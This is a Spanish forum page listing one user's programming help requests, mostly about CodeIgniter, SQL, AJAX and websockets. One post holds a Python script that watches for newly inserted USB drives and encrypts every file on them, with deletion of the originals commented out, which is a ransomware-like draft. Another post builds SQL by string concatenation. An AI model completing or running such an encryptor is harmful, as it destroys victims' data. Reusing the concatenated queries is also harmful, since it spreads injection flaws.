|
Mostrar Temas
|
Páginas: [1] 2 3 4 5 6 7 8
|
1
|
Sistemas Operativos / GNU/Linux / rutear el trafico de tor a ciertas aplicaciones
|
en: 24 Febrero 2019, 23:30 pm
|
lo que busco es como rutear el trafico de tor a ciertas apps como hexchat , firefox y otras pero la cosa es que no quiero que divulge el la IP del ISP y en caso que no se cumpla me notifique que no estoy usando proxy o VPN pero que no divulge la IP , como podria hacer esto? iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -s 10.11.0.xx -j ACCEPT #VPN traffic iptables -A INPUT -s ip -j ACCEPT # CTF network iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT iptables -A INPUT -m state --state NEW -p tcp --dport 9050 -j ACCEPT iptables # routing the traffic to certain application via port or the best to achieve it iptables -A INPUT -j DROP # or REJECT service iptables save service iptables restart
|
|
|
2
|
Programación / PHP / como puedo arreglar mis validaciones de notificaciones?
|
en: 11 Julio 2017, 21:48 pm
|
bueno lo que necesito es una ves que el usuario haya vendido el producto del carrito entonces cheque que si el total stock es <= a la cantidad minima enviemos una notificacion pero esa notificacion la vamos a guardar en la base de datos solo que no se como hacerlo tengo mi if if($this->sale->concretar_venta($this->session->carrito, $total, $cantidad_pagada, $cambio)){ echo 1; } else{ echo "Ocurrio un error al concretar la venta, por favor intentelo de nuevo"; }
para validad que sea existosa la venta , pero como agrego si el stock total final sea <= a lo que min es , public function concretar_venta(){ if($this->sale->checa_carrito_vacio($this->session->carrito)){ $total = $this->input->post("total", TRUE); $cantidad_pagada = $this->input->post("cantidad_pagada", TRUE); $cambio = $cantidad_pagada - $total; if($this->sale->concretar_venta($this->session->carrito, $total, $cantidad_pagada, $cambio)){ echo 1; } else{ echo "Ocurrio un error al concretar la venta, por favor intentelo de nuevo"; } } else{ $this->json(array('error' => 'The cart is empty')); } }
el codigo de notificaciones lo que pasa que si las inserta solo que todos tienen que estar en lo minimo para poder ver si esta bien o mal como pudiera checar que si alguno de los productos no cumple ese producto solo envia la notificacion. public function index() { $this->session->carrito = $this->sale->checar_existe_carrito(); $array = $this->sale->get_all_cart($this->session->carrito); foreach ($array as $key => $value) { $product_id[] = $value['id']; } //$this->json($product_id); $this->notification->addNotification('low stock', $product_id, $this->session->log['id'], 'low stock'); $this->json($product_id); $product = $this->products->get_product_id($product_id); if ($product->stock <= 8) { echo "wrong"; }else{ echo "good"; } }
|
|
|
3
|
Programación / Bases de Datos / problema al momento de mostrar los datos por filtrado del status
|
en: 24 Junio 2017, 05:22 am
|
lo que quiero hacer es que cuando llame mi vista deberia mostrarme la ultima venta pero no la realiza porque en la tabla storelte_order hay un campo que se autogenera en status 0 si no se concreta pero deberia funcionarme el query con != 0 o <> 0 pero ninguno funciona alguna idea como solucionarlo? SELECT first_name,last_name,description,quantity,price,storelte_order.total,cash_tend,change_due,storelte_order.created_at FROM storelte_order_detail INNER JOIN storelte_products ON storelte_products.id = storelte_order_detail.product_id INNER JOIN storelte_order ON storelte_order.id = storelte_order_detail.order_id INNER JOIN storelte_users ON storelte_users.id = storelte_order.user_id WHERE storelte_order.id = (SELECT MAX(storelte_order.id) FROM storelte_order) AND user_id = 1 AND storelte_order.STATUS != 1
view CREATE ALGORITHM = UNDEFINED DEFINER = `root`@`localhost` SQL SECURITY DEFINER VIEW `storelte`.`ticket` AS SELECT `storelte`.`storelte_users`.`first_name` AS `first_name`, `storelte`.`storelte_users`.`last_name` AS `last_name`, `storelte`.`storelte_products`.`description` AS `description`, `storelte`.`storelte_order_detail`.`quantity` AS `quantity`, `storelte`.`storelte_order_detail`.`price` AS `price`, `storelte`.`storelte_order`.`total` AS `total`, `storelte`.`storelte_order`.`cash_tend` AS `cash_tend`, `storelte`.`storelte_order`.`change_due` AS `change_due`, `storelte`.`storelte_order`.`created_at` AS `created_at` FROM (((`storelte`.`storelte_order_detail` JOIN `storelte`.`storelte_products` ON ((`storelte`.`storelte_products`.`id` = `storelte`.`storelte_order_detail`.`product_id`))) JOIN `storelte`.`storelte_order` ON ((`storelte`.`storelte_order`.`id` = `storelte`.`storelte_order_detail`.`order_id`))) JOIN `storelte`.`storelte_users` ON ((`storelte`.`storelte_users`.`id` = `storelte`.`storelte_order`.`user_id`))) WHERE ((`storelte`.`storelte_order`.`id` = (SELECT MAX(`storelte`.`storelte_order`.`id`) FROM `storelte`.`storelte_order`)) AND (`storelte`.`storelte_order`.`user_id` = 1) AND (`storelte`.`storelte_order`.`status` <> 0))
|
|
|
4
|
Programación / Desarrollo Web / long polling ajax no esta funcionando bien
|
en: 25 Abril 2017, 01:24 am
|
lo hace este script es que cuando cambio algo en la base de datos automaticamente se refleja en el sitio solo que cuando agrego un elemento a la base de datos cada ves tengo que recargar la pagina como pudiera hacer para solucionar esto? otra cosa en mi timestamp en la consola de google chrome parece asi http://localhost/storelte/notify/pusher?timestamp=1493076211 pending pero al agregar el nuevo elemento no cambia el timestamp porq no lo hace automatico tengo que recargar para verlo no se que estoy haciendo mal en el ajax , $(function(doc, win, $) { var has_focus = true; var notification = win.Notification || win.mozNotification || win.webkitNotification; var $badge = $("#notifications-badge"); var $list = $("#notifications-list"); var $button = $("#notifications-button"); URL_GET_NOTIFICATION = BASE_URL + 'notify/pusher'; URL_GET_NOTIFICATION_UPDATE = BASE_URL + 'notify/update'; if ('undefined' === typeof notification) { console.log('Web notification not supported'); } else { notification.requestPermission(function(permission) {}); } function check_notifications(timestamp) { $.ajax({ type: 'GET', url: URL_GET_NOTIFICATION, data: { timestamp : timestamp }, dataType: 'json', async: true, success: function (data) { for (var i in data.notifications) { notify(data.notifications[i].message, data.notifications[i].type, data.notifications[i].timestamp); } check_notifications(data.timestamp); } }); } function notify(message, type, created_at) { var type_txt = 'info'; var url = '#'; var icon = 'info-circle'; if (type == 0) { type_txt = 'success'; icon = 'check'; } else if (type == 1) { type_txt = 'info'; icon = 'exclamation'; } else if (type == 2) { type_txt = 'warning'; icon = 'exclamation-triangle'; } else if (type == 3 || type == 4) { type_txt = 'danger'; icon = 'fire'; } $badge.show(); $badge.text(parseInt($badge.text()) + 1); $list.find(".item").eq(13).nextAll(".item").remove(); var item = '<li class="item text-' + type_txt + '"><a href="' + url + '"><span class="text-' + type_txt + '">' + '<i class="fa fa-' + icon + ' fa-fw"></i> ' + message.substr(0, 22) + '</span>' + '<span class="pull-right text-muted small" data-time="' + created_at + '">X</span></a></li>' + '<li class="item divider"></li>'; $list.prepend(item); $('.dropdown.open .dropdown-toggle').dropdown('toggle'); return true; } $(win).on("blur", function () { has_focus = false; }); $(win).on("focus", function () { has_focus = true; }); $button.on("click", function () { $badge.fadeOut(300, function () { $badge.text(0); }); $list.find("span[data-time]").each(function (index) { var $this = $(this); $this.text(moment.unix($this.data('time')).fromNow()); }); }); check_notifications(); }(document, window, jQuery)); $('#notifications-button').on('click', function () { $.ajax({ type: 'GET', url: 'http://localhost/storelte/notify/update', success: function(data){ } }); });
|
|
|
5
|
Programación / PHP / websocket ratchet
|
en: 22 Abril 2017, 03:48 am
|
lo que queiero hacer es como mandar los mensajes a la base de datos para poder mostrarlos en la vista usando ratchet websocket . mis websocket ya los genera pero desde otro php para generarlos por medio de un boton como prueba pero como pudiera hacerlos de manera dinamica para detectar el evento y mostrarlos ? public function pusher(){ 'category' => $this->input->post('category'), 'title' => $this->input->post('title'), 'article' => $this->input->post('article'), ); //$this->notification->addNotification($entryData); // This is our new stuff $context = new ZMQContext(); $socket = $context->getSocket(ZMQ::SOCKET_PUSH, 'my pusher'); $socket->connect("tcp://localhost:5555"); }
var sock = new ab.Session('ws://192.168.0.4:8080', function() { sock.subscribe('kittensCategory', function(topic, data) { $badge.show(); $badge.text(parseInt($badge.text()) + 1); $list.find(".item").eq(13).nextAll(".item").remove(); var item = '<li class="item text-warning"><a href="#"><span class="text-warning">' + '<i class="fa fa-exclamation-triangle fa-fw"></i>'+data.title+' is low'+'</span>' + '<span class="pull-right text-muted small" data-time="">'+data.timestamp+'</span></a></li>' + '<li class="item divider"></li>'; $list.prepend(item); $('.dropdown.open .dropdown-toggle').dropdown('toggle'); }); }, function() { console.warn('WebSocket connection closed'); }, { 'skipSubprotocolCheck': true } );
|
|
|
7
|
Programación / PHP / error 500 Internal server al momento de enviar datos al servidor codeigniter
|
en: 17 Diciembre 2016, 20:29 pm
|
el error es porque cuando trato de enviar mis datos al server me da error 500 internal error pero si recargo la pagina si me los subio a que se debe este error? otra cosa en la parte de $ ("#description").mask("(999) 999-9999");
no me quiere agarrar el mask pero si abro la consola en chrome y hago lo mismo si la agarra como puedo arreglar ambos errores? controlador public function addProduct(){ $descripcion = $this->input->post('description'); $cost_price = $this->input->post('cost_price'); $selling_price = $this->input->post('selling_price'); $wprice = $this->input->post('wprice'); $stock = $this->input->post('stock'); $data_product = $this->item->addProduct($descripcion,$cost_price,$selling_price,$wprice,$stock); 'description' => $descripcion, 'cost_price' => $cost_price, 'selling_price' => $selling_price, 'wprice' => $wprice, 'stock' => $stock ); $this->json($data_product); }
model public function addProduct($descripcion,$cost_price,$selling_price,$wprice,$stock){ 'descripcion' => $descripcion, 'precio_compra' => $cost_price, 'precio_venta' => $selling_price, 'precio_mayoreo' => $wprice, 'existencia' => $stock ); $query = $this->db->insert('storelte_articulos',$data); return $query->result_array(); }
ajax $('#add').on('click',function(){ $("#description").mask("(999) 999-9999"); $("#new_product").validate(); BootstrapDialog.show({ message: function(dialog) { var $message = $('<div></div>'); var pageToLoad = dialog.getData('pageToLoad'); $message.load(pageToLoad); return $message; }, data: { 'pageToLoad': URL_GET_VIEW_PRODUCT }, closable: false, buttons:[{ id: 'btn-ok', cssClass: 'btn-primary', icon: 'glyphicon glyphicon-send', label: ' Save', action: function (e) { var description = $('#description').val(); var cost_price = $('#cost_price').val(); var selling_price = $('#selling_price').val(); var wprice = $('#wprice').val(); var stock = $('#stock').val(); if($("#new_product").valid()){ $.ajax({ url: URL_GET_ADD_PRODUCT, type: 'POST', data: {description: description, cost_price: cost_price, selling_price: selling_price, wprice: wprice, stock: stock} }).done(function (e) { console.log(e); }); } } },{ id: 'btn-cancel', cssClass: 'btn-danger', icon: 'glyphicon glyphicon-remove', label: ' Cancel', action: function (e) { e.close(); } }] }); });
|
|
|
8
|
Programación / Scripting / el script al momento de cifrar los archivos del usb truena python
|
en: 7 Diciembre 2016, 07:43 am
|
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo? Searching usb... letter: F:\ There were 1 drives added: set(['F']). Newly mounted drive letter is F:\ Traceback (most recent call last): File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module> encrypt_file(str(encrypt_files)) File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file filesize = str(os.path.getsize(filename)).zfill(16) File "C:\Python27\lib\genericpath.py", line 57, in getsize return os.stat(filename).st_size WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"
from ctypes import windll from Crypto.PublicKey import RSA from Crypto.Hash import SHA256 from Crypto import Random import string import time import os, sys def get_drives(): drives = [] bitmask = windll.kernel32.GetLogicalDrives() for letter in string.uppercase: if bitmask & 1: drives.append(letter) bitmask >>= 1 return drives def encrypt(filename): chunksize = 64 * 1024 outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename)) filesize = str(os.path.getsize(filename)).zfill(16) IV = '' for i in range(16): IV += chr(random.randint(0, 0xFF)) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, "rb") as infile: with open(outFile, "wb") as outfile: outfile.write(filesize) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 !=0: chunk += ' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def list_files(path): files = [] for name in os.listdir(path): if os.path.isfile(os.path.join(path, name)): files.append(name) return files if __name__ == '__main__': print 'Searching usb...' while True: before = set(get_drives()) time.sleep(5) after = set(get_drives()) drives = after - before delta = len(drives) if (delta): for drive in drives: if os.system("cd " + drive + ":") == 0: newly_mounted = '%c:\\'%(drive) encrypt_files = list_files(newly_mounted) print "letter: "+newly_mounted print "fueron montados %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted) for x in encrypt_files: if os.path.basename(x).startswith("(encrypted)"): print "%s is already encrypted" %str(x) pass else: encrypt_file(str(encrypt_files)) print "encryptacion terminada %s" %str(x) """os.remove(x) """ else: print "no hay ningun usb"
|
|
|
9
|
Programación / PHP / ¿Cómo puedo conseguir mi entrada JSON casa controler controler?(codeigniter)
|
en: 23 Octubre 2016, 03:20 am
|
Quiero recuperar mi JSON para mi controlador home porque quiero esos valores para mi menú basado en roles. Si hago esto con archivos separados no funciona en mi código. de view home Entonces, ¿qué es estoy haciendo mal con el? ¿Cómo se puede arreglar bien mostrando los valores correctos? login controller: <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Login extends MY_Controller { public function __construct(){ parent::__construct(); } public function index(){ $data['module'] = 'Login'; $this->load->view('login',$data); } public function getAccess(){ if ($this->session->userdata('logged_in') == TRUE){ redirect('home'); }else{ $username = $this->security->xss_clean($this->input->post('username')); $password = $this->security->xss_clean($this->input->post('password')); $array = $this->user->login($username,$password); if ($array[0] == 0) { echo 0; }else{ 'id' => $array[0]['id'], 'name' => $array[0]['nombre'], 'last_name' => $array[0]['apellido'], 'type' => $array[0]['id_perfil'], 'logged_in' => TRUE ); $this->session->set_userdata('log',$data_session); } } } public function logout(){ $this->session->sess_destroy(); redirect('login'); } public function getModules($id_module){ if($this->session->userdata('log')){ $data = $this->session->userdata('log'); $seccions = $this->module->get_rows(); foreach ($seccions as $index => $sección){ $modules = $this->module->query("SELECT CONCAT('".$sección['id']."',storelte_modulo.id) AS id,CONCAT('".base_url('assets/img/sidebar')."','/',storelte_modulo.icon) as icon, storelte_modulo.modulo AS value,storelte_modulo.seccion_id,CONCAT('".base_url()."',storelte_modulo.url) AS url FROM storelte_modulo INNER JOIN storelte_modulo_perfil ON storelte_modulo_perfil.modulo_id = storelte_modulo.id WHERE seccion_id = $sección[id] AND storelte_modulo_perfil.perfiles_id = $data[id] AND storelte_modulo_perfil.STATUS = 1"); $seccions[$index]['data']= $modules; if (!count($seccions[$index]['data'])) unset($seccions[$index]); } foreach ($seccions as $item) $this->data['fields'] = $menu; $this->json($this->data); $this->load->view('home',$this->data); } } }
home controller: <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Home extends MY_Controller { public function __construct(){ parent::__construct(); $this->isLogged(); } public function index(){ $data = $this->session->userdata('log'); $data['module'] = "Home"; $this->load->view('header',$data); $this->load->view('home',$data); } }
view home <section class="sidebar"> <!-- sidebar menu: : style can be found in sidebar.less --> <ul class="sidebar-menu"> <img src="<?= base_url().'/assets/img/sidebar/items.png'?>" alt="" class="menu-icon"> <span>Inventory </span> <i class="fa fa-angle-left pull-right"></i> <ul class="treeview-menu"> <li><a href="<?=base_url('inventory/product');?>"> <i class="fa fa-circle-o text-aqua"></i> Product </a></li>
|
|
|
10
|
Programación / Desarrollo Web / problema al querer implementar ajax y validate en bootstrap dialog
|
en: 5 Septiembre 2016, 05:49 am
|
el problema que es cuando quiero validate en action: es lo que hara el boton pero como pudiera hacer que cuando campos vacios no avanze y no se quite el modal y cuando si se vaya al $.ajax(); y haga el spin si me pudiera ayudar como implementarlo seria bueno.... si me pudieran hechar la mano? <section class="content"> <section class="col-lg-12 connectedSortable"> <div class="box-title">Lista De Productos </div> <button class="btn btn-primary" id="add_item">New item </button> <table id="example" class="table table-bordered table-striped"> <th>Nombre del proveedor </th> <th>Correo electrónico </th> </section> </section>
$(function(){ URL_GET_DATATABLE = BASE_URL+'inventory/provider/datatable'; $('#example').DataTable({ "lengthChange": false, ajax: { url: URL_GET_DATATABLE, type: 'POST' } }); $('#add_item').on('click',function(){ BootstrapDialog.show({ message: $("<form class='form-inline' id='providerForm'><div class='form-group'><label class='full_name'>Full name</label> <input type='text' class='_full_name form-control' name='full_name'></div><div class='form-group'><label class='phone' for='phone'>Phone</label> <input type='text' class='_phone form-control'></div><div class='form-group'><label class='email' for='email'>E-mail</label> <input type='text' class='_email form-control'></div><div class='form-group'><label class='rfc' for='email'>Rfc</label> <input type='text' class='_rfc form-control'></div><div class='form-group'><label class='address' for='address'>Address</label> <input type='text' class='_address form-control'></div>"), closable: true, closeByBackdrop: false, closeByKeyboard: false, buttons: [{ id: 'submit', icon: 'glyphicon glyphicon-send', label: 'Send ajax request', cssClass: 'btn-primary', autospin: true, action: function (dialogRef) { dialogRef.enableButtons(false); dialogRef.setClosable(false); } }] }); }); });
|
|
|
|
|
|
|